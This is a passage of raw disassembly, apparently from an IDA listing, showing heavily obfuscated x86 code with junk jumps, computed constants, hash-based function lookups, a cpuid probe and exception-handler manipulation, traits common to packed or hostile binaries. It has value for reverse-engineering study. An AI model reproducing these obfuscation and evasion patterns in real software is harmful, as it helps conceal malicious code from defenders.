loc_40E513:				; CODE XREF: _837l4vi2:0040EE16j
		jmp	loc_4109C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4053DD


loc_40E518:				; CODE XREF: sub_4053DD+64A8j
		jmp	nullsub_183
; END OF FUNCTION CHUNK	FOR sub_4053DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A91F


loc_40E51D:				; CODE XREF: sub_40A91F+Bj
		jmp	nullsub_78
; END OF FUNCTION CHUNK	FOR sub_40A91F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E294


loc_40E522:				; CODE XREF: sub_4061B1+2j
					; sub_40E294+Cj
		ror	eax, 10h
		jmp	loc_40DAF7
; END OF FUNCTION CHUNK	FOR sub_40E294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D7F5


loc_40E52A:				; CODE XREF: sub_40D7F5:loc_40D7FAj
					; _837l4vi2:00410B9Dj
		add	ecx, 0D78FDBB9h
		xchg	ecx, [esp+0]
		jmp	loc_4090A7
; END OF FUNCTION CHUNK	FOR sub_40D7F5
; ---------------------------------------------------------------------------
		xor	eax, ebp
		jmp	sub_405611
; ---------------------------------------------------------------------------


loc_40E53F:				; DATA XREF: sub_408BA9-1621o
		mov	ecx, offset sub_40E54D
		xchg	ecx, [esp]
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C5DF


loc_40E548:				; CODE XREF: sub_40C5DF+Fj
		jmp	loc_4069E5
; END OF FUNCTION CHUNK	FOR sub_40C5DF

; =============== S U B	R O U T	I N E =======================================



sub_40E54D	proc near		; DATA XREF: _837l4vi2:loc_40E53Fo
		xor	eax, eax
		retn
sub_40E54D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B77A


loc_40E550:				; CODE XREF: sub_40B77A+16j
		jmp	loc_410331
; END OF FUNCTION CHUNK	FOR sub_40B77A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D363


loc_40E555:				; CODE XREF: sub_40D363-3EFCj
		jmp	nullsub_87
; END OF FUNCTION CHUNK	FOR sub_40D363
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408BA9


loc_40E55A:				; CODE XREF: sub_408BA9+5j
		push	ecx
		mov	ecx, [esp+4+arg_8]
		jmp	loc_40C57B
; END OF FUNCTION CHUNK	FOR sub_408BA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4089C5


loc_40E564:				; CODE XREF: _837l4vi2:0040AD44j
					; sub_4089C5+280Bj
		add	eax, 783A20FEh
		add	eax, ebp
		add	eax, 6BDE3556h
		cmp	dword ptr [eax], 47424454h
		jz	loc_409F1E
		jmp	loc_40F114
; END OF FUNCTION CHUNK	FOR sub_4089C5

; =============== S U B	R O U T	I N E =======================================



sub_40E583	proc near		; CODE XREF: _837l4vi2:loc_40CFAFp

arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 004098F1 SIZE 00000010 BYTES

		xchg	ecx, [esp+0]
		mov	ecx, [esp+0]
		mov	ecx, [esp+10h]
		mov	dword ptr [ecx], 10001h
		jmp	loc_4098F1
sub_40E583	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40855B


loc_40E598:				; CODE XREF: sub_40855B-3285j
		sub	ebx, edi


loc_40E59A:				; CODE XREF: sub_40855B:loc_4106F4j
		lea	eax, [ebp-14h]
		push	offset sub_40C0A5
		jmp	loc_40EE9A
; END OF FUNCTION CHUNK	FOR sub_40855B

; =============== S U B	R O U T	I N E =======================================



sub_40E5A7	proc near		; CODE XREF: sub_40C2A0+6p
		mov	[esp+0], edi
		mov	edi, ecx
		xchg	edi, [esp+0]
		mov	esp, ebp
		mov	ebp, offset sub_40F9B3
		xchg	ebp, [esp+0]
		jmp	nullsub_79
sub_40E5A7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A526


loc_40E5BE:				; CODE XREF: sub_4055BD+2j
					; sub_40A526-3B55j ...
		call	sub_40FB01


loc_40E5C3:				; CODE XREF: _837l4vi2:0040660Fj
		jmp	nullsub_80
; END OF FUNCTION CHUNK	FOR sub_40A526
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405723


loc_40E5C8:				; CODE XREF: sub_405723:loc_406750j
		pop	ecx


loc_40E5C9:				; CODE XREF: sub_407287+8430j
		mov	[ebp-20h], eax
; END OF FUNCTION CHUNK	FOR sub_405723
; START	OF FUNCTION CHUNK FOR sub_407287


loc_40E5CC:				; CODE XREF: sub_407287+Ej
					; sub_407287+8439j
		push	offset sub_40EF02
		jmp	loc_4068B8
; END OF FUNCTION CHUNK	FOR sub_407287
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_40E5D6:				; CODE XREF: sub_4065B8:loc_40B13Aj
		jnz	loc_405CE5
		jmp	loc_40885F
; END OF FUNCTION CHUNK	FOR sub_4065B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CF3C


loc_40E5E1:				; CODE XREF: sub_40CF3C+1F0Cj
		jp	nullsub_149
		sbb	edi, 0BF0F8E23h


loc_40E5ED:				; CODE XREF: sub_40CF3C:loc_40E4DEj
		push	edi
		push	0EDF98640h
		jmp	loc_405E27
; END OF FUNCTION CHUNK	FOR sub_40CF3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_40E5F8:				; CODE XREF: sub_4078C8:loc_408E52j
					; _837l4vi2:0040FEEFj
		add	edx, 0ADBF14B3h
		call	sub_407392
; END OF FUNCTION CHUNK	FOR sub_4078C8
; START	OF FUNCTION CHUNK FOR sub_40CA1B


loc_40E603:				; CODE XREF: sub_40CA1B+3EC0j
		jmp	loc_407CD4
; END OF FUNCTION CHUNK	FOR sub_40CA1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405CBC


loc_40E608:				; CODE XREF: sub_405CBC+964Cj
		jmp	loc_408ECD
; END OF FUNCTION CHUNK	FOR sub_405CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408BA9


loc_40E60D:				; CODE XREF: sub_408BA9+5854j
		jmp	loc_407576
; END OF FUNCTION CHUNK	FOR sub_408BA9
; ---------------------------------------------------------------------------


loc_40E612:				; CODE XREF: _837l4vi2:0040897Aj
		jmp	locret_4057D5
; ---------------------------------------------------------------------------


loc_40E617:				; DATA XREF: _837l4vi2:00408721o
		call	sub_40B088
		mov	edx, 43A8AC5Ch
		call	sub_40E739
		push	edx
		push	offset sub_40ECAA
		jmp	loc_40AE0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4056BA


loc_40E631:				; CODE XREF: sub_4056BA:loc_40B536j
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		cpuid
		jmp	loc_40E0D5
; END OF FUNCTION CHUNK	FOR sub_4056BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_40E63E:				; CODE XREF: sub_40E3C8+284Dj
		call	sub_40E6CD


loc_40E643:				; CODE XREF: _837l4vi2:0040AB32j
		jmp	loc_40874F
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CBB2


loc_40E648:				; CODE XREF: sub_40CBB2:loc_40C633j
		jz	loc_40B0E6
		jmp	loc_40E394
; END OF FUNCTION CHUNK	FOR sub_40CBB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405D62


loc_40E653:				; CODE XREF: sub_405D62+4414j
		mov	edx, 3BD2EC5Ch
		call	sub_40E739
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_4092D0
		jmp	loc_40C436
; END OF FUNCTION CHUNK	FOR sub_405D62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40892F


loc_40E66F:				; CODE XREF: sub_40892F:loc_407427j
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	eax, 52h
		push	esi
		push	455008F4h
		jmp	loc_40FCF4
; END OF FUNCTION CHUNK	FOR sub_40892F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D977


loc_40E689:				; CODE XREF: sub_40D977-2FF9j
		call	sub_40D169


loc_40E68E:				; CODE XREF: sub_40966E+5190j
		jl	loc_40E3DA
		not	ebx
		jmp	loc_40E3D3
; END OF FUNCTION CHUNK	FOR sub_40D977

; =============== S U B	R O U T	I N E =======================================



sub_40E69B	proc near		; CODE XREF: _837l4vi2:0040751Ej
					; sub_40D735-9C2j ...

arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 00409C84 SIZE 00000004 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	ecx, [esp+10h]
		mov	dword ptr [ecx], 10001h
		lea	eax, sub_409C8D
		mov	[ecx+0B8h], eax
		jmp	loc_409C84
sub_40E69B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ebp, eax
		add	ebp, 62C503BAh
		jmp	sub_406327
; ---------------------------------------------------------------------------


loc_40E6C7:				; CODE XREF: _837l4vi2:0040FCEFj
		jle	loc_407DFB

; =============== S U B	R O U T	I N E =======================================



sub_40E6CD	proc near		; CODE XREF: sub_40E3C8:loc_40E63Ep

; FUNCTION CHUNK AT 0040658C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00406755 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00406B4D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040841C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408994 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0040915E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409CA8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040A63D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040CDBF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040D51A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F0F2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040F511 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00410001 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00410C07 SIZE 0000000C BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	edx, [ebp-4]
		jmp	loc_40658C
sub_40E6CD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B4E8


loc_40E6D9:				; CODE XREF: sub_40B4E8:loc_409BB4j
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		jmp	loc_40F08D
; END OF FUNCTION CHUNK	FOR sub_40B4E8
; ---------------------------------------------------------------------------
		lea	eax, loc_40E9A5
		mov	[ebp-4], eax
		push	offset loc_4101AD


loc_40E6F7:				; CODE XREF: _837l4vi2:loc_40D235j
		jmp	loc_40F32A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_40E6FC:				; CODE XREF: sub_40833D+8C7Bj
		cmp	ebx, 0C18E02B8h
		jmp	loc_408FCE
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------


loc_40E707:				; CODE XREF: _837l4vi2:0040FFC9j
		adc	ecx, ebx


loc_40E709:				; CODE XREF: _837l4vi2:loc_405AA6j
		call	sub_40B088
		push	0B62B2205h
		adc	edx, 3A60DF7h
		jmp	loc_408436
; ---------------------------------------------------------------------------
		sbb	ebx, edx
		jmp	sub_40A454
; ---------------------------------------------------------------------------


loc_40E725:				; DATA XREF: sub_40F812-6D1Fo
		mov	eax, [eax+0Ch]
		call	sub_4071CD
; START	OF FUNCTION CHUNK FOR sub_40B601


loc_40E72D:				; CODE XREF: sub_40B601-3A28j
		xchg	eax, ecx
; END OF FUNCTION CHUNK	FOR sub_40B601
; START	OF FUNCTION CHUNK FOR sub_40E449


loc_40E72F:				; CODE XREF: sub_40E449:loc_40E458j
		push	offset sub_40DC44
		jmp	loc_407AFC
; END OF FUNCTION CHUNK	FOR sub_40E449

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E739	proc near		; CODE XREF: sub_405127+Ap
					; sub_405611+4p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040539A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004060A6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040B4BD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040DCC6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EAFF SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		jz	loc_40539A
		add	esp, 0FFFFFED8h
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		mov	[ebp+var_C], eax
		jmp	loc_40B4BD
sub_40E739	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A00D


loc_40E758:				; CODE XREF: sub_40A00D+Ej
		call	sub_407AB9
; END OF FUNCTION CHUNK	FOR sub_40A00D
; START	OF FUNCTION CHUNK FOR sub_40AB62


loc_40E75D:				; CODE XREF: sub_40AB62+Aj
		jmp	loc_407A45
; END OF FUNCTION CHUNK	FOR sub_40AB62
; ---------------------------------------------------------------------------


loc_40E762:				; CODE XREF: _837l4vi2:00408B84j
		jmp	loc_40CAF8
; ---------------------------------------------------------------------------


loc_40E767:				; CODE XREF: _837l4vi2:00407302j
		jmp	loc_4062C0
; ---------------------------------------------------------------------------


loc_40E76C:				; CODE XREF: _837l4vi2:0040D031j
		jb	loc_405458
		cmp	ebp, edx
		jmp	loc_40FA13
; ---------------------------------------------------------------------------


loc_40E779:				; DATA XREF: sub_41072F+Bo
		pop	ebp
		mov	eax, ds:dword_40B634
		or	eax, eax
		jnz	loc_40C8C2
		jmp	loc_40D815
; ---------------------------------------------------------------------------


loc_40E78D:				; CODE XREF: _837l4vi2:loc_40E17Fj
		call	sub_40E739
		call	sub_4060C7
		test	al, al
		jnz	locret_40E7AE
		call	sub_40B088
		mov	edx, 30DFC367h
		call	sub_40E739

locret_40E7AE:				; CODE XREF: _837l4vi2:0040E799j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407A59


loc_40E7AF:				; CODE XREF: sub_407A59:loc_408953j
		mov	ds:dword_41104C, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_407A59
; ---------------------------------------------------------------------------


loc_40E7B6:				; CODE XREF: _837l4vi2:0040E18Aj
		jmp	loc_40AFC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A050


loc_40E7BB:				; CODE XREF: sub_4108F9-8BA9j
					; sub_40A050+6j
		ror	eax, 6
		push	eax
		jmp	loc_40D01C
; END OF FUNCTION CHUNK	FOR sub_40A050
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_40E7C4:				; CODE XREF: sub_40AE2D-4509j
		js	loc_406BFB
		xchg	eax, edi
		adc	ecx, esi


loc_40E7CE:				; CODE XREF: sub_40AE2D:loc_4105C9j
		call	nullsub_11
		retn
; END OF FUNCTION CHUNK	FOR sub_40AE2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405CBC


loc_40E7D4:				; CODE XREF: sub_405CBC+6CC2j
		jmp	nullsub_120
; END OF FUNCTION CHUNK	FOR sub_405CBC
; ---------------------------------------------------------------------------


loc_40E7D9:				; CODE XREF: _837l4vi2:0040C517j
		jmp	loc_40B227
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40698A


loc_40E7DF:				; CODE XREF: sub_40698A+55AEj
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_40698A

; =============== S U B	R O U T	I N E =======================================



sub_40E7E1	proc near		; CODE XREF: sub_40611B+3EAp
					; sub_405BB4+3213p ...

; FUNCTION CHUNK AT 00408A82 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040B638 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B7BF SIZE 00000019 BYTES

		jno	sub_40B7D8
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		jmp	loc_40B7BF
sub_40E7E1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40E7F2:				; CODE XREF: sub_4108AF-6941j
					; sub_40966E:loc_40D9D3j
		sub	eax, 9F3231DAh
		cmp	eax, 0E81BB989h
		jmp	loc_40E68E
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B859


loc_40E803:				; CODE XREF: sub_40B859:loc_406B64j
		jz	loc_410F3D
		jmp	loc_408287
; END OF FUNCTION CHUNK	FOR sub_40B859
; ---------------------------------------------------------------------------


loc_40E80E:				; CODE XREF: _837l4vi2:00411080j
		cmp	eax, 0F87B2721h
		jmp	loc_4091C7
; ---------------------------------------------------------------------------


loc_40E819:				; CODE XREF: _837l4vi2:loc_40FED0j
		adc	eax, 0A8FBBAA5h
		shr	ebx, 19h
		cdq
		jmp	loc_4108A7
; ---------------------------------------------------------------------------
		push	713B36AFh
		pop	edx
		xor	edx, 0F0797848h
		push	esi
		jmp	loc_409C5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405C17


loc_40E83A:				; CODE XREF: sub_405C17:loc_405DE0j
		jnz	loc_40E882
		jmp	loc_406AD7
; END OF FUNCTION CHUNK	FOR sub_405C17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40E845:				; CODE XREF: sub_40966E+5577j
		call	sub_40D92B
		jmp	loc_40EC42
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108AF


loc_40E84F:				; CODE XREF: sub_4108AF-30E8j
					; _837l4vi2:0041039Cj ...
		jnz	loc_40B05A
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-4], 0
		jmp	loc_40E9C1
; END OF FUNCTION CHUNK	FOR sub_4108AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40E861:				; CODE XREF: sub_40D735+31D5j
		sub	eax, ebx
		popf


loc_40E864:				; CODE XREF: sub_40D735:loc_40F448j
		call	sub_40EBBF


loc_40E869:				; CODE XREF: sub_40D735-53FDj
		jmp	loc_40F8EE
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405D8B


loc_40E86E:				; CODE XREF: sub_405D8B:loc_405D97j
		jmp	loc_40A4AE
; END OF FUNCTION CHUNK	FOR sub_405D8B
; ---------------------------------------------------------------------------
		ror	ebx, 15h
		jmp	sub_41083C
; ---------------------------------------------------------------------------


loc_40E87B:				; DATA XREF: sub_408567+575Ao
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40E87D:				; CODE XREF: _837l4vi2:004103CAj
		jmp	loc_406BED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405C17


loc_40E882:				; CODE XREF: sub_405C17:loc_40E83Aj
		ror	eax, 8
		call	sub_40BDE4
; END OF FUNCTION CHUNK	FOR sub_405C17
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D363


loc_40E88B:				; CODE XREF: sub_40D363-230j
		jge	loc_4090B6
		pop	edx
		or	edx, ebx
		jmp	loc_4090B6
; END OF FUNCTION CHUNK	FOR sub_40D363
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405BB4


loc_40E899:				; CODE XREF: sub_405BB4:loc_4073B1j
		jnz	loc_40E9E7
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 8
		jmp	loc_40E9E7
; ---------------------------------------------------------------------------


loc_40E8AB:				; CODE XREF: sub_405BB4+3BE1j
					; sub_405BB4+5723j
		jo	loc_40C11C
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_40A3A5
		jmp	loc_408EBE
; END OF FUNCTION CHUNK	FOR sub_405BB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405F85


loc_40E8C0:				; CODE XREF: sub_405F85+40E0j
		jg	loc_40B389
		jbe	loc_40B055


loc_40E8CC:				; CODE XREF: sub_405950:loc_40EC13j
		push	578EC6FEh
		pop	eax
		and	eax, 21637000h
		jmp	loc_406711
; END OF FUNCTION CHUNK	FOR sub_405F85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4089C5


loc_40E8DD:				; CODE XREF: sub_4089C5:loc_40B1D6j
		or	eax, 0C4D72212h
		add	eax, 1B61B03Fh
		xchg	eax, [esp+0]
		jmp	sub_409926
; END OF FUNCTION CHUNK	FOR sub_4089C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FC80


loc_40E8F1:				; CODE XREF: sub_40FC80:loc_40DFCBj
		push	eax
; END OF FUNCTION CHUNK	FOR sub_40FC80
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_40E8F2:				; CODE XREF: sub_409D6B+1801j
		call	sub_407982
		call	sub_40DF72


loc_40E8FC:				; CODE XREF: TlsCallback_0+7j
		mov	ebp, esp
		call	sub_41083C


loc_40E903:				; CODE XREF: sub_40926F+4A09j
		jmp	loc_40CDCA
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B205


loc_40E908:				; CODE XREF: sub_40B205+12j
		jmp	nullsub_88
; END OF FUNCTION CHUNK	FOR sub_40B205
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409E44


loc_40E90D:				; CODE XREF: sub_409E44+6D8Aj
		jg	loc_4108B3


loc_40E913:				; CODE XREF: sub_409E44:loc_410F21j
		mov	eax, [ebp-0Ch]
		cmp	eax, ds:dword_4109EC
		jz	loc_405746
		jmp	loc_407E33
; END OF FUNCTION CHUNK	FOR sub_409E44

; =============== S U B	R O U T	I N E =======================================



sub_40E927	proc near		; CODE XREF: _837l4vi2:00406A8Ep
					; sub_407AA4+3D3p
		jns	sub_40B3A7
		push	ebp
		push	offset sub_4097E4
		jmp	nullsub_91
sub_40E927	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F812


loc_40E938:				; CODE XREF: sub_40F812:loc_40B6E4j
		jnz	loc_408AEC
		jmp	loc_407460
; END OF FUNCTION CHUNK	FOR sub_40F812
; ---------------------------------------------------------------------------


loc_40E943:				; CODE XREF: _837l4vi2:0040A1C8j
		xor	eax, edi


loc_40E945:				; CODE XREF: _837l4vi2:loc_40B21Cj
		push	65583B0Ch
		pop	eax
		xor	eax, 0F76403DCh
		add	eax, ebp
		add	eax, 6DC3BF30h
		jmp	loc_406976
; ---------------------------------------------------------------------------
		rol	eax, 7
		test	edi, ebx
		jmp	loc_4093AA
; ---------------------------------------------------------------------------
		not	edi
		test	edi, ecx
		jmp	loc_409DD2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_126. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409CCE


loc_40E972:				; CODE XREF: sub_409CCE+8j
		jz	loc_40FB28
		jmp	loc_40F714
; END OF FUNCTION CHUNK	FOR sub_409CCE

; =============== S U B	R O U T	I N E =======================================



sub_40E97D	proc near		; DATA XREF: sub_40A2D5:loc_4060F1o
		mov	[ebp-5], al
		mov	al, [ebp-5]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40E97D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40E987:				; CODE XREF: _837l4vi2:0040EB7Bj
		jmp	loc_409C69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A2D5


loc_40E98C:				; CODE XREF: _837l4vi2:loc_405B5Ej
					; _837l4vi2:00406AA2j ...
		mov	al, 1
		jmp	loc_4060F1
; END OF FUNCTION CHUNK	FOR sub_40A2D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AEAE


loc_40E993:				; CODE XREF: sub_40DE68-82EBj
					; sub_40AEAE+Cj
		inc	dword ptr [ebp-4]
		jmp	loc_40DE71
; END OF FUNCTION CHUNK	FOR sub_40AEAE
; ---------------------------------------------------------------------------


loc_40E99B:				; CODE XREF: _837l4vi2:0040C788j
		ror	eax, 0Eh
		push	eax
		call	sub_40B99D
		retn
; ---------------------------------------------------------------------------


loc_40E9A5:				; DATA XREF: _837l4vi2:loc_40D3CFo
					; _837l4vi2:0040E6E9o
		call	sub_40D85F
; START	OF FUNCTION CHUNK FOR sub_40FFAC


loc_40E9AA:				; CODE XREF: sub_40FFAC-3D5Cj
		jmp	loc_41081E
; END OF FUNCTION CHUNK	FOR sub_40FFAC
; ---------------------------------------------------------------------------


loc_40E9AF:				; CODE XREF: _837l4vi2:00405B8Ej
		test	esi, ecx
		jmp	loc_40FD2E
; ---------------------------------------------------------------------------


loc_40E9B6:				; CODE XREF: _837l4vi2:0040CDABj
		or	ebx, 2EE2FCDEh
		jmp	loc_407268
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108AF


loc_40E9C1:				; CODE XREF: sub_4108AF-2053j
		jz	loc_409F66
		jmp	loc_4068CF
; END OF FUNCTION CHUNK	FOR sub_4108AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E0FB


loc_40E9CC:				; CODE XREF: sub_40E0FB:loc_40E107j
		mov	dword ptr [edx], 2000h

locret_40E9D2:				; CODE XREF: sub_40F812-7B6Ej
					; sub_40F812-2313j ...
		retn
; END OF FUNCTION CHUNK	FOR sub_40E0FB
; ---------------------------------------------------------------------------


loc_40E9D3:				; CODE XREF: _837l4vi2:0040EBFDj
		jmp	nullsub_122

; =============== S U B	R O U T	I N E =======================================



sub_40E9D8	proc near		; CODE XREF: sub_40F812:loc_407C9Dp
					; sub_40CAD0:loc_408617j ...

; FUNCTION CHUNK AT 0040D556 SIZE 0000001A BYTES

		push	0E9BCA61Eh
		call	sub_4073E8


loc_40E9E2:				; CODE XREF: sub_40B5A9+Dj
		jmp	loc_40D556
sub_40E9D8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406C3E


loc_40E9E7:				; CODE XREF: sub_406C3E+1CB6j
					; sub_409A88:loc_40D793j ...
		jnz	loc_409EF4
		push	offset sub_40F3BA
		jmp	loc_409B10
; END OF FUNCTION CHUNK	FOR sub_406C3E

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40E9F7	proc near		; CODE XREF: sub_410619:loc_40C9F9j
		retn
sub_40E9F7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F812


loc_40E9F8:				; CODE XREF: sub_40F812-83AAj
		jl	loc_40B23B
		sub	eax, edx
		jmp	loc_408AEC
; END OF FUNCTION CHUNK	FOR sub_40F812
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B99D


loc_40EA05:				; CODE XREF: sub_40B99D+2507j
					; sub_40717E:loc_40DFD5j
		call	sub_40892F


loc_40EA0A:				; CODE XREF: sub_408A93+F08j
		sub	esi, ebp
		not	ebp


loc_40EA0E:				; CODE XREF: sub_408A93:loc_410116j
		call	sub_409D6B
		mov	edx, 65DE9EC5h
		push	ecx
		push	5BAB51A3h
		jmp	loc_4092D7
; END OF FUNCTION CHUNK	FOR sub_40B99D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CD8A


loc_40EA23:				; CODE XREF: sub_40CD8A+1EACj
		call	sub_4104F4


loc_40EA28:				; CODE XREF: _837l4vi2:0040EA70j
		jmp	loc_40FE9D
; END OF FUNCTION CHUNK	FOR sub_40CD8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408055


loc_40EA2D:				; CODE XREF: sub_408055+A6Ej
		jmp	nullsub_93
; END OF FUNCTION CHUNK	FOR sub_408055
; ---------------------------------------------------------------------------
		and	ecx, edi
		jmp	loc_4091CC

; =============== S U B	R O U T	I N E =======================================



sub_40EA39	proc near		; CODE XREF: _837l4vi2:00410768p
		xchg	ebp, [esp+0]
		mov	ebp, [esp+0]
sub_40EA39	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40926F


loc_40EA3F:				; CODE XREF: sub_40926F+1D3Cj
		push	0C61A2427h
		pop	eax
		xor	eax, 73513038h
		add	eax, 4AF55149h
		jmp	loc_40E2F3
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------


loc_40EA56:				; CODE XREF: _837l4vi2:0040B4A5j
		pop	ebx
		sub	ebx, 804BEF4Ah
		xor	ebx, 6941B323h
		add	ebx, ebp
		jmp	loc_4102AA
; ---------------------------------------------------------------------------


loc_40EA6A:				; CODE XREF: _837l4vi2:0040E442j
		jnz	loc_40C9F3
		jmp	loc_40EA28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


